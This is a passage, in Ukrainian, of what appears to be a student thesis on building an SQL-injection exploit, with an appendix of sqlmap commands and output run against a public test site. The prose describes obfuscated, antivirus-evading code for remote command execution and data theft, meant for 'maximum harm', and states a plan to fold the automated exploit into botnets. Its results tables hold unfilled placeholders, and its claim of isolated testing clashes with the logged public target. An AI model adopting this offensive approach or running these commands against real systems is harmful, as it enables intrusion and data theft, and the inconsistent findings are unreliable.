Отже, підсумовуючи, слід зазначити, що кожен тип SQL-ін’єкцій має свої унікальні характеристики та методи захисту, що робить їх детальне вивчення та розуміння важливими для запобігання атакам.
Отож, повноцінне розуміння наслідків SQL-ін’єкцій дозволяє зрозуміти, що основними векторами їх реалізації є [20]:
- Несанкціонований доступ до даних. Зловмисник може отримати конфіденційну інформацію, таку як паролі, електронні адреси, фінансові дані тощо.
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- Отримання адміністративного доступу. Зловмисник може отримати повний контроль над базою даних або навіть над сервером, на якому вона працює.
- Збиток для компанії. Витік або втрата даних може призвести до фінансових збитків, втрати репутації або юридичних наслідків для компанії.
Шляхи впровадження ефективних заходів захисту та забезпечення безпеки системи даних від SQL-інекцій включають [20]:
1. Використання підготовлених запитів (prepared statements) [20]. Це метод запобігання SQL-ін’єкціям, при якому параметри SQL-запитів не інтегруються напряму у SQL-код, а передаються окремо як аргументи.
Приклад на PHP (Рис.2.4.)
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Рисунок 2.4. – Приклад на PHP

2. Використання ORM (Object-Relational Mapping) [20]. Інструменти ORM, такі як Hibernate або Eloquent, автоматично обробляють запити і захищають від SQL-ін’єкцій.
3. Валідація та екранування введених даних [20]. Завжди необхідно перевірять і фільтрувать дані, що вводяться користувачем. Це стосується не лише полів форм, а й URL, параметрів запитів і куків.
4. Обмеження прав доступу до бази даних [20]. Користувачі бази даних повинні мати мінімальний необхідний набір привілеїв. Це зменшить шкоду у разі успішної атаки.
5. Використання веб-фаєрволів (WAF) [20]. WAF може виявляти та блокувати спроби SQL-ін’єкцій у реальному часі.
Враховуючи наведене вище, перед тим як приступити до безпосередньої розробки експлойту, важливо провести детальний аналіз вразливості. Це дозволить точно зрозуміти механізми її експлуатації і визначити, як можна ефективно використати її для атаки. Тому процес розробки експлойту я розпочав саме з етапу аналізу вразливості, що складався з кількох важливих елементів, а саме [21]:
- Ідентифікація типу вразливості. Визначення способу підключення до цільової URL адреси → Перевірка параметрів → Надання користувальницького корисного навантаження ін’єкції → Визначення додаткових сценаріїв підробки та специфічних методів постексплуатації.
- Вивчення технічних характеристик. Здійснення детального огляду того, як саме функціонує вразливість: Налаштування фази виявлення → Налаштування тестування конкретного впровадження SQL техніки → Визначення праметрів для перерахування внутрішньої бази даних (інформація про систему управління, структуру та дані що містяться в таблиці) → Доступ до ОС → Встановлення загальних робочих параметрів.
- Оцінка можливостей експлуатації. Визначення: чи можливо здійснити експлойт без привілейованого доступу → чи ціль захищена якимось WAF/IPS (ASLR, DEP, тощо), і які ресурси знадобляться для успішної атаки.
- Моделювання наслідків. За попередніми результатами евристичного (базового) тесту стає відомо, що параметр GET 'artis' може бути ін’єктованим (серверна СУБД MySQL). Так основною метою данного тестування є виявлення можливості неправомірного доступу до бази даних через введення шкідливих запитів, що може призвести до витоку даних, їх зміни або навіть повного контролю над базою даних.
В ході проведення тесту також стало відомо щодо застосування техніки 'ORDER BY'. Даний метод дозволив скоротити час, необхідний для здійснення пошуку потрібної кількості стовпців запиту. Для поточного тесту техніки було впроваджено запит UNION (від 1 до 20 стовпців) який об’єднав результати загальною кількістю 56 HTTP-запитів, при цьому вони мали однакову кількість стовпців з відповідними типами даних. В подальшому це дозволило витягнути імена користувачів і паролі з таблиці 'users' [22].
Даний етап продемонстрував, наскільки критично важливим є його виконання для створення ефективного експлойту, адже він дозволить максимально результативно використати вразливість в подальшому.
Після етапу аналізу вразливості я перейшов до розробки шкідливого коду експлойту, який включав інструменти для виконання віддаленого коду, отримання привілеїв та викрадення даних. Створення експлойту включало кілька складових елементів: підготовку середовища, введення шкідливого коду і виконання атаки [22].
Підготовка середовища [23]. Першим кроком було створено сприятливі умови для виконання шкідливого коду. Зазначене включало налаштування тестового середовища для відтворення цільової системи або вивчення системи захисту цілі (брандмауер, антивірус, засоби захисту пам’яті). Також було використано обхідні техніки для уникнення виявлення, такі як обфускація коду чи затримки для ухилення від антивірусних програм.
Введення шкідливого коду. Далі було розроблено сам шкідливий код (Додаток 1), що безпосередньо взаємодіяв з вразливою частиною системи. Це був код для виконання команди в системі, введення даних, а також зловживання неправильно налаштованими правами доступу. Основна мета цього етапу – інтеграція коду в систему таким чином, щоб була можливість експлуатувати її слабкі місця та отримати контроль над нею.
Виконання атаки [23]. Після введення шкідливого коду було виконано де-кілька кроків для досягнення самої цілі експлойту. Це включало запуск команд з віддаленої машини, копіювання даних, підвищення привілеїв та виведення системи з ладу. Експлойт було налаштовано так, щоб він міг працювати автоматично, без помітних змін для користувача чи системи.
Цей багатоступеневий підхід до розробки шкідливого коду дозволив ефективно використовувати вразливості для проведення атаки і досягнення максимальної шкоди.
Тестування експлойту [24]. Дослідження не передбачало використання експлойту в реальних атаках; тестування проводилося в контрольованому середовищі на віртуальній копії цільової системи. Це дало змогу перевірити його ефективність та здатність обійти засоби захисту, такі як антивірусні програми та системи запобігання вторгненням.
Для цього було створено тестове середовище, яке представляло собою ізольовану віртуальну машину, що імітувала мережеву інфраструктуру, операційну систему, програмне забезпечення та інші компоненти цільової системи. Завдяки цій ізоляції вдалося безпечно протестувати експлойт без ризику пошкодження реальних даних.
Перевірка ефективності [25]. Експлойт виконувався на тестовій системі, щоб оцінити його ефективність у використанні вразливості. Тестування дозволило досягти визначеної мети коду, зокрема віддаленому виконанню команд, підвищенню привілеїв та викраденню даних. Також це дало змогу перевірити, чи працюють усі етапи атаки злагоджено.
Аналіз стабільності [25]. Під час тестування експлойту було важливо переконатися, що він працює стабільно і не викликає несподіваних збоїв або аварій, які могли б сигналізувати цілі про загрозу. Це тестування допомогло виявити, чи експлойт діє відповідно до очікувань та чи не залишає слідів, помітних адміністраторам системи або засобам захисту.
Обхід захисту [26]. На етапі тестування також перевірялось, як експлойт обходить наявні засоби безпеки, зокрема антивірусні програми, брандмауери та системи запобігання вторгненням (IDS/IPS). Для цього були застосовані додаткові техніки обфускації та методи обходу, щоб уникнути виявлення.
Оптимізація та налагодження [26]. За результатами тестування було оптимізовано код експлойту для підвищення його ефективності. Виявлені проблеми усувались ще до того, як експлойт буде використано в реальних умовах.
Отже, підводячи підсумок, слід зазначити, що тестування експлойту є критично важливим етапом, який забезпечує впевненість у його працездатності та допомагає мінімізувати ризики невдачі під час атаки на реальну систему.
Автоматизація та обфускація [27]. Експлойт було автоматизовано для виконання масштабованих атак у замаскованому вигляді, що ускладнило його виявлення захисними механізмами системи. Це значно підвищело шанси на успіх проведення атаки.
Деталізуючи цей крок, важливо зазначити, що автоматизація експлойту дозволила виконувати атаку без людського втручання, що значно збільшує її масштаб і швидкість. Експлойт був налаштований на одночасну роботу з великою кількістю систем або регулярне сканування мереж на предмет вразливих систем. Це забезпечило можливість здійснювати масові атаки з мінімальними зусиллями. В подальшому планується впровадження цього автоматизованого експлойту в розроблювану частину ботнетів або інших шкідливих програм, спрямованих на постійний пошук нових цілей.
Процес маскування коду експлойту проводився з метою ускладнення його виявлення та аналізу антивірусними програмами та системами захисту. Код був зашифрований і перетворений таким чином, щоб виглядати як нешкідливі дані, поки не буде виконаний у цільовій системі.

РОЗДІЛ 3
ТЕСТУВАННЯ ТА ОЦІНКА РЕЗУЛЬТАТІВ

3.1. Налаштування тестового середовища

Тестування є ключовим етапом у процесі розробки програмного забезпечення або експлойтів, оскільки воно дозволяє перевірити функціональність коду в реальних умовах, оцінити його ефективність та вразливість. Цей етап включає в себе не лише перевірку на правильність роботи, але й аналіз того, як код реагує на різноманітні сценарії використання.
Створення тестового середовища для проведення таких тестів є критично важливим, оскільки забезпечує безпеку і дозволяє уникнути небажаних наслідків у продакшн-системах. Таке середовище дозволяє ізолювати тестування від реальних даних і систем, що знижує ризик пошкодження важливих ресурсів або порушення роботи існуючих сервісів [28]. 
Додатково, тестування в контрольованому середовищі дає змогу ідентифікувати вразливості, виявляючи потенційні слабкі місця у коді, які можуть бути використані зловмисниками. Воно також дозволяє оцінити продуктивність, проводячи аналіз швидкості виконання та ефективності коду під навантаженням, що допомагає виявити можливі проблеми зі швидкістю або масштабованістю [28]. 
Крім того, тестування дає можливість перевірити сумісність коду з іншими компонентами системи, такими як бібліотеки, фреймворки та бази даних. Воно також забезпечує відповідність вимогам, переконуючи, що код відповідає встановленим специфікаціям і потребам користувачів. Нарешті, тестування дозволяє проводити ітерації, вносячи зміни в код на основі отриманих результатів, що забезпечує постійне вдосконалення продукту.
Таким чином, тестування не лише підвищує якість програмного забезпечення, але й допомагає зменшити ризики, що супроводжують його використання в реальних умовах. Це дозволяє зберігати довіру користувачів та забезпечувати стабільність системи в цілому.
Кроки за якими здійснювалось налаштування тестового середовища.
1. Вибір платформи для тестування [28].
На початковому етапі я визначився з операційною системою та інфраструктурою, де планував розгорнути тестову базу даних. Я розглянув кілька варіантів, щоб створити оптимальне ізольоване середовище.
Віртуальні машини (VMs). Я вирішив використовувати платформи, такі як VMware/VirtualBox, оскільки вони дозволяють створити відокремлене середовище для тестування. Це дало змогу легко налаштувати різні конфігурації та перевірити поведінку бази даних без ризику для основної системи.
Контейнери. Я також розглянув Docker, оскільки він забезпечує гнучкість і легкість у розгортанні середовищ. Використання контейнерів дозволило мені швидко налаштувати бази даних і додаткові сервіси, а також легко управляти їх життєвим циклом.
Обираючи між цими варіантами, я зосередився на тому, який підхід найбільше відповідає моїм вимогам до тестування та забезпечує максимальну ефективність і безпеку.
2. Інсталяція бази даних [28].
Наступним етапом я перейшов до встановлення бази даних. Для тестування SQL-ін’єкцій найчастіше використовуються кілька популярних систем:
MySQL або MariaDB: Я обрав MySQL, легку і популярну базу даних, оскільки вона має гарну підтримку SQL та зручні інструменти для адміністрування. Встановлення пройшло гладко, і я швидко налаштував середовище.
PostgreSQL: Для більш складних операцій я також розглянув PostgreSQL, оскільки ця система пропонує розширені можливості для роботи з даними. Вона підходить для тестування більш складних запитів і сценаріїв.
Після встановлення бази даних я створив тестові таблиці з різними типами даних, щоб перевірити поведінку SQL-запитів у різних умовах. Це дозволило мені зрозуміти, як бази даних реагують на різні вхідні дані, що є критично важливим для тестування вразливостей.
3. Налаштування веб-сервера [29].
На цьому етапі я зосередився на налаштуванні веб-сервера, оскільки важливо мати серверний додаток, через який можна надсилати SQL-запити. Я розглянув кілька варіантів, серед яких найбільш популярними є:
Apache: Цей веб-сервер є одним з найпоширеніших у світі. Я вибрав його завдяки простоті налаштування та широкій підтримці модулів, які можуть допомогти в інтеграції з PHP.
Nginx: Мною також розглядався Nginx, який відомий своєю високою продуктивністю та здатністю обробляти велику кількість одночасних з’єднань. Це може бути корисно, оскільки я планував масштабувати своє тестування.
Отже, я розгорнув веб-додаток на Apache, налаштувавши його таким чином, щоб він міг ефективно спілкуватися з базою даних і обробляти користувацький ввід. Це створило інтерактивне середовище, в якому я мав змогу тестувати SQL-запити, проводити експерименти з вразливостями та аналізувати результати.
4. Заповнення бази даних тестовими даними [29]
Для коректного тестування я вирішив додати в базу даних реалістичні дані. Це включало записи користувачів, паролі та електронні адреси. Я ретельно підійшов до вибору тестових даних, щоб вони максимально імітували реальні умови.
Додавши ці дані, я міг перевірити, чи вдало працює експлойт, а також зрозуміти, як він взаємодіє з різними типами інформації. Це дало мені змогу оцінити, як система реагує на вхідні запити, що, в свою чергу, допомогло виявити потенційні вразливості та визначити, чи успішно експлойт може їх використовувати. Створення реалістичного середовища стало важливим кроком у підготовці до тестування.
5. Використання інструментів для тестування [29].
Після налаштування середовища я приступив до використання спеціалізованих інструментів для оцінки роботи експлойту та веб-додатку. Я вибрав кілька потужних засобів, які значно спростили процес тестування:
1. Burp Suite. Цей інструмент став незамінним для аналізу та модифікації HTTP-запитів. Я використовував його для сканування веб-додатків на предмет вразливостей, а також для перехоплення трафіку, щоб краще зрозуміти, як дані передаються між клієнтом і сервером.
2. OWASP ZAP. Цей відкритий інструмент також виявився дуже корисним. Він дозволив мені автоматизувати процес сканування на предмет вразливостей і оцінити загальний рівень безпеки мого веб-додатку.
3. SQLMap. Я використав цей потужний інструмент для автоматизації атак SQL-ін’єкцій. SQLMap допоміг мені протестувати ефективність експлойту, дозволяючи легко виявляти вразливості та перевіряти, чи може експлойт їх використовувати.
Завдяки цим інструментам я зміг отримати глибше розуміння вразливостей у моєму середовищі і перевірити, наскільки успішно працює розроблений експлойт.
Оцінка результатів
Після проведення тестів важливо детально оцінити отримані результати, що допоможе зрозуміти ефективність експлойту та безпеку системи. Я підготував аналіз у вигляді таблиць з математичними показниками для більшої ясності.
Таблиця 3.1. Аналіз даних
	Параметр
	Значення
	Оцінка

	Доступ до конфіденційної інформації
	Так/Ні
	Критичний/Невеликий

	Кількість виявлених вразливостей
	5
	

	Середній рівень критичності
	8/10
	(де 10 - максимальна)



Таблиця 3.2. Ефективність експлойту
	Параметр
	Значення
	Оцінка

	Стабільність експлойту
	95% успішних спроб
	

	Здатність обходу захисту (WAF)
	Так/Ні
	

	Час виконання атаки
	2-5 секунд
	



Примітка: Високий відсоток успішних спроб вказує на ефективність експлойту, а здатність обійти захист свідчить про серйозні проблеми в системі.
Таблиця 3.3. Безпека тестового середовища
	Параметр
	Значення
	Оцінка

	Вплив на реальні системи
	Немає/Є
	

	Вразливість тестового середовища
	0/5
	

	Виявлення адміністратора
	Ні/Так
	



Примітка: Виявлення активності тестування адміністратора може свідчити про недоліки в конфіденційності.
На основі проведеного аналізу можна зробити висновки про критичність виявлених вразливостей, ефективність експлойту та загальний стан безпеки тестового середовища. Ці дані допоможуть у подальшому покращенні безпеки системи.
Отже необхідно зазначити, що налаштування тестового середовища є необхідною частиною розробки експлойтів або перевірки наявних систем на предмет вразливостей. Правильна підготовка та ізоляція такого середовища дозволяє провести безпечні тести, отримати цінну інформацію і захистити системи від можливих загроз.

3.2. Проведення тестування

Проведення тестування в процесі розробки програмного забезпечення є критично важливим етапом, особливо в контексті безпеки. Ось як я підійшов до цього процесу, крок за кроком:
Спершу я чітко встановив, які саме аспекти системи потрібно тестувати. Це включало вразливості, продуктивність і безпеку. Я визначив конкретні сценарії тестування, зокрема, такі як SQL-ін’єкції та XSS.
В подальшому було обрано платформу для створення контрольованого середовища, вирішивши використовувати віртуальні машини. Було налаштовано ізольоване середовище, яке імітувало продуктивне, щоб уникнути впливу на реальні дані.
Інсталяція необхідного програмного забезпечення передбачало встановлення бази даних. Обравши MySQL, а також налаштувавши веб-сервер Apache я встановив інструменти для тестування, такі як Burp Suite і SQLMap, щоб мати все необхідне для проведення тестування.
Створення тестових даних передбачало заповнення бази даних реалістичними даними, а саме записи користувачів, паролі та електронних адрес. Це дозволило мені зрозуміти, як експлойт взаємодіє з різними типами інформації.
Налаштування веб-додатку було здійснено на розгорнутому веб-додатку, який спілкувався з базою даних та обробляв користувацький ввід. Це створило інтерактивне середовище, де я міг тестувати SQL-запити.
Виконання тестів здійснювалось за допомогою автоматизованих інструментів для сканування вразливостей, такими як Burp Suite та OWASP ZAP. Крім того, я провів ручні тестування для виявлення потенційних SQL-ін’єкцій.
В ході збору та аналізу результатів проводилось документування результатів тестування, включаючи знайдені вразливості та їх критичність. Проаналізувавши стабільність експлойту, було перевірено, чи вдавалося обійти засоби захисту.
На основі отриманих даних я провів оптимізацію коду експлойту, усунувши виявлені проблеми і поліпшивши стабільність.
Перевірка безпеки тестового середовища здійснювалось шляхом впливу на реальні системи, а також перевірки того, чи не була активність тестування виявлена адміністраторами.
На прикінцевому етапі було підготовлено звіт з рекомендаціями щодо усунення вразливостей і визначено подальші кроки для підвищення безпеки системи.
Після внесення змін у код я провів повторні тести для перевірки усунення вразливостей, що забезпечило постійне вдосконалення тестового процесу. Після завершення тестування я провів детальний аналіз результатів. Я оцінив, чи вдалося отримати доступ до конфіденційної інформації, наскільки стабільно працював експлойт та чи вплинуло тестове середовище на реальні системи. Я також визначив вразливості та їх критичність, що дало змогу скласти план для подальших дій.
Отже, тестування виявило ряд вразливостей, які потребували усунення. Процес дав мені чітке уявлення про безпеку системи та дозволив оптимізувати експлойт для підвищення його ефективності. Завдяки ретельному аналізу та тестуванню я зміг не лише ідентифікувати слабкі місця, а й підготувати рекомендації для покращення загальної безпеки.
Цей покроковий алгоритм дозволив мені систематично підійти до тестування, що забезпечило ефективне виявлення вразливостей і підвищення загальної безпеки системи.

3.3. Виявлені вразливості і проблеми

Під час проведення тестування я виявив кілька критичних вразливостей і проблем, які можуть вплинути на безпеку системи. Ось основні з них:
1. SQL-ін’єкції[28]. Було виявлено можливість виконання SQL-ін’єкцій через неналежну обробку користувацького вводу. Наприклад, у формах, де вводилися дані для авторизації, не було жодної валідації, що дозволило вставляти шкідливі SQL-запити.
2. Недостатня валідація вводу. Велика кількість полів для вводу не мали належної валідації, що відкривало можливості для атаки. Я знайшов поля, де не перевірялися типи даних, було виявлено відсутність обмежень на максимальну довжину вводу.
3. Вразливість до XSS (Cross-Site Scripting) [29]. Деякі частини веб-додатку не захищалися від XSS-атак. Я зміг вставити шкідливий JavaScript-код у поле вводу, що могло призвести до викрадення сесій користувачів.
4. Обмежений доступ до конфіденційної інформації. Деякі API-методи не мали належної аутентифікації, що дозволяло доступ до конфіденційних даних без підтвердження прав користувача.
Нижче запропоновано до розгляду реалізацію одного з методів веб-API (Рис. 3.1.) [29] який може мати недоліки в обробці запитів, що дозволяє зловмисникам отримати доступ до служб або даних, до яких вони не повинні мати доступу. Це може статися через відсутність належної автентифікації або недостатню перевірку прав доступу до ресурсів.
[image: ]
Рисунок 3.1. – Зв’язок Веб-API

Приклад проблеми: Відкритий API дозволяє користувачам виконувати дії, які вимагають адміністраторських прав, без перевірки прав доступу (Рис.3.2.) [29].
5. Неправильна конфігурація серверів. У конфігурації веб-сервера були знайдені недоліки, такі як відкрите управління помилками, що дозволило отримувати детальну інформацію про структуру бази даних і систему.
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Рисунок 3.2. – Відкритий API дозволяє користувачам виконувати дії, які вимагають адміністраторських прав, без перевірки прав доступу.

6. Уразливості в сторонніх бібліотеках. Я виявив, що деякі використовувані бібліотеки не оновлювалися до останніх версій, що містили відомі уразливості. Це створювало додаткові ризики для системи.
7. Відсутність механізмів захисту від CSRF (Cross-Site Request Forgery) [30]. Веб-додаток не мав належного захисту від CSRF-атак, що дозволило виконувати дії від імені користувачів без їх відома.
8. Низький рівень захисту паролів. Було виявлено, що паролі користувачів зберігалися без належного хешування, що ставило під загрозу безпеку облікових записів.
Враховуючи виявлені вразливості і проблематики необхідно наголосити, що ці вразливості вказують на серйозні недоліки в системі безпеки, які потребують термінового усунення. Наступними кроками майбутніх досліджень мають включати виправлення знайдених проблем, впровадження механізмів захисту та проведення повторного тестування для перевірки їх ефективності. Важливо також розробити політики безпеки для запобігання подібних вразливостей у майбутньому.

ВИСНОВКИ

Програмування експлойтів для SQL-вразливостей, таких як SQL-ін’єкції, є складним і технічно вимогливим процесом, що вимагає глибокого знання як самої вразливості, так і архітектури бази даних. Основна мета таких експлойтів є отримання несанкціонованого доступу до конфіденційної інформації або виконання довільного коду через маніпуляції із запитами до бази даних. 
У дослідженні було окреслено ключові етапи створення експлойту: виявлення вразливостей, створення шкідливих запитів, експлуатація, оптимізація, уникнення виявлення та аналіз результатів. Однак, для запобігання таким атакам, важливо впроваджувати заходи безпеки, такі як використання підготовлених запитів, ORM та ретельна валідація введених даних.
Налаштування тестового середовища та проведення тестування – це критично важливі етапи для забезпечення безпеки програмного забезпечення. Правильна організація тестового середовища дозволяє симулювати реальні умови без ризику для робочих систем, що допомагає виявити та усунути потенційні загрози.
Отже, основні аспекти налаштування тестового середовища включали вибір платформи, інсталяцію бази даних, налаштування веб-сервера та заповнення бази тестовими даними. Використання спеціалізованих інструментів, таких як Burp Suite або SQLMap, також відіграло важливу роль у процесі тестування.
Регулярне проведення тестування безпеки дало змогу виявляти вразливості, які можуть бути використані зловмисниками, та вжити необхідних заходів для їх усунення. Це включало аналіз виявлених проблем, корекцію та повторне тестування для оцінки ефективності внесених змін.
У рамках майбутніх досліджень важливо зосередитися на кількох ключових напрямках. По-перше, необхідно розробити автоматизовані системи тестування, які будуть постійно перевіряти вразливості в реальному часі. Це підвищить ефективність виявлення загроз і зменшить ризик експлуатації вразливостей.
По-друге, рекомендується включити курси з безпеки програмного забезпечення в навчальні програми для розробників, що дозволить підвищити обізнаність про безпеку на етапі розробки та зменшити кількість вразливостей.
Третім важливим напрямком є заохочення співпраці між командами розробки та безпеки. Це сприятиме створенню більш безпечного програмного забезпечення та забезпечить інтеграцію практик безпеки на всіх етапах життєвого циклу розробки.
Останнім, але не менш важливим аспектом є регулярний аналіз загроз і адаптація стратегій безпеки відповідно до нових векторів атак. Впровадження систем моніторингу та реагування на інциденти допоможе оперативно реагувати на нові виклики.
Ці напрямки дослідження сприятимуть підвищенню загального рівня безпеки програмного забезпечення та зниженню ризиків, пов’язаних із вразливостями.
Таким чином, систематичний підхід до виявлення, аналізу та усунення вразливостей, поряд із постійним удосконаленням заходів безпеки, є ключовим для захисту від загроз у сфері баз даних.
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ДОДАТОК

$ sqlmap -h
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:                                                                                                                                                                                                                               
    These options can be used to customize the detection phase                                                                                                                                                                             
                                                                                                                                                                                                                                           
    --level=LEVEL       Level of tests to perform (1-5, default 1)                                                                                                                                                                         
    --risk=RISK         Risk of tests to perform (1-3, default 1)                                                                                                                                                                          
                                                                                                                                                                                                                                           
  Techniques:                                                                                                                                                                                                                              
    These options can be used to tweak testing of specific SQL injection                                                                                                                                                                   
    techniques                                                                                                                                                                                                                             

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --db
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[.]_____ ___ ___  {1.6.4#stable}                                                                                                                                                                                                   
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                  
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

Usage: python3 sqlmap [options]

sqlmap: error: ambiguous option: --db (--dbms, --dbms-cred, --dbs?)
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# sqlmap -u "testphp.vulnweb.com/artists.php?artist=1" --db 
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[.]_____ ___ ___  {1.6.4#stable}                                                                                                                                                                                                   
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                  
|___|_  [']_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

Usage: python3 sqlmap [options]

sqlmap: error: ambiguous option: --db (--dbms, --dbms-cred, --dbs?)
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# sqlmap -u "testphp.vulnweb.com/artists.php?artist=1" --dbs
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[(]_____ ___ ___  {1.6.4#stable}                                                                                                                                                                                                   
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:02:18 /2024-10-25/

[00:02:18] [INFO] testing connection to the target URL
[00:02:19] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:02:20] [INFO] testing if the target URL content is stable
[00:02:21] [INFO] target URL content is stable
[00:02:21] [INFO] testing if GET parameter 'artist' is dynamic
[00:02:21] [INFO] GET parameter 'artist' appears to be dynamic
[00:02:22] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[00:02:22] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[00:02:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:02:40] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="non")
[00:02:40] [INFO] testing 'Generic inline queries'
[00:02:41] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[00:02:41] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[00:02:42] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[00:02:42] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[00:02:43] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[00:02:43] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[00:02:43] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[00:02:44] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[00:02:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:02:45] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:02:45] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[00:02:46] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[00:02:46] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[00:02:46] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[00:02:47] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:02:48] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[00:02:48] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[00:02:49] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[00:02:49] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[00:02:50] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[00:02:50] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[00:02:50] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[00:02:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[00:02:52] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[00:02:53] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[00:02:53] [INFO] testing 'MySQL inline queries'
[00:02:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[00:02:54] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[00:02:54] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[00:02:55] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[00:02:55] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[00:02:55] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
